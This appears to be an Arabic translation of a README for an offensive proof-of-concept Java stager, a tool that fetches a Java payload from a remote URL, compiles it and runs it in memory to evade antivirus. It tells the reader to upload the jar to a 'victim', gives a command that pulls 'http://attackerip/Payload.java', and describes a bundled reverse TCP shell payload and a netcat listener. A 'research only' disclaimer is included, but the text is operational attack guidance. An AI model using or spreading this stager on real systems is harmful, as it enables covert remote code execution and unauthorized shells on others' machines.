
أداة PoC Java Stager يمكنها تنزيل وتجميع وتنفيذ ملف Java في الذاكرة.
إثبات مفهوم لبرنامج Java Stager يمكنه تنزيل وتجميع وتنفيذ ملف Java في الذاكرة.
هذا لأغراض البحث فقط، لا تستخدمه في مكان غير مصرح لك بذلك.
يعتمد هذا على عمل جيمس ويليامز من محاضرته "Next Gen AV vs My Shitty Code" المتاحة هنا:
https://www.youtube.com/watch?v=247m2dwLlO4&feature=youtu.be
الأجزاء الرئيسية من المحادثة بالنسبة لي هي:
مثاله كان في .net، لكنه في المحادثة اقترح أن جافا قادرة على نفس التقنيات. لقد قمت بتنفيذ إثبات مفهوم خام أعتقد أنه يطابق التقنيات المذكورة أعلاه.
المخرجات في NetBeans تضمنت سطرًا مثل هذا:
Building jar: C:\Users\cornerpirate\Documents\NetBeansProjects\java-stager\target\JavaStager-0.1-initial.jar
للعمل على ضحيتك يجب رفع ملف "JavaStager*.jar" ومجلد "lib" الذي يحتوي على Janino من مجلد "target".
الأمر التالي سيقوم بتنفيذ stager:
java -jar JavaStager-0.1-initial.jar
سيُطلب منك الاستخدام كما هو موضح:
Proper Usage is: java -jar JavaStager-0.1-initial.jar <url>
"url" هو المعامل الوحيد الذي يُمرر إلى Stager. مثال على الاستخدام سيكون:
java -jar JavaStager-0.1-initial.jar http://attackerip/Payload.java
يجب أن يكون ملف payload الخاص بك باسم "Payload.java" ويجب أن يكون كود الاستغلال الخاص بك في دالة ثابتة اسمها "Run". فيما يلي القالب إذا أردت كتابة كودك الخاص:
public class Payload {
public static void Run() {
// Your code here
}
}
لقد قدمت مثالًا على Reverse TCP payload في ملف "TCPReverseShell.java". لتجنب تعارض الأسماء، هذا الملف ليس اسمه "Payload.java" واسم الفئة خاطئ. التعليق في رأس ملف "TCPReverseShell.java" يشرح كيفية تعديله ليعمل.
ستحتاج إلى استضافة ملف "Payload.java" على خادم HTTP. يمكنك استخدام Apache إذا أردت أو خوادم HTTP/HTTPS البسيطة في Python2 و Python3 حسب مدونتي:
https://cornerpirate.com/2016/12/16/simple-http-or-https-servers/
سيحتاج المهاجم إلى بدء مستمع netcat لاستقبال الاتصال العائد باستخدام التقنية القياسية nc -lvp 8044.
منشور المدونة الذي يشرح كيف يعمل كل شيء:
https://cornerpirate.com/2018/08/06/java-stager-hide-from-av-in-memory/
فيديو يوضح كيف عمل في الممارسة: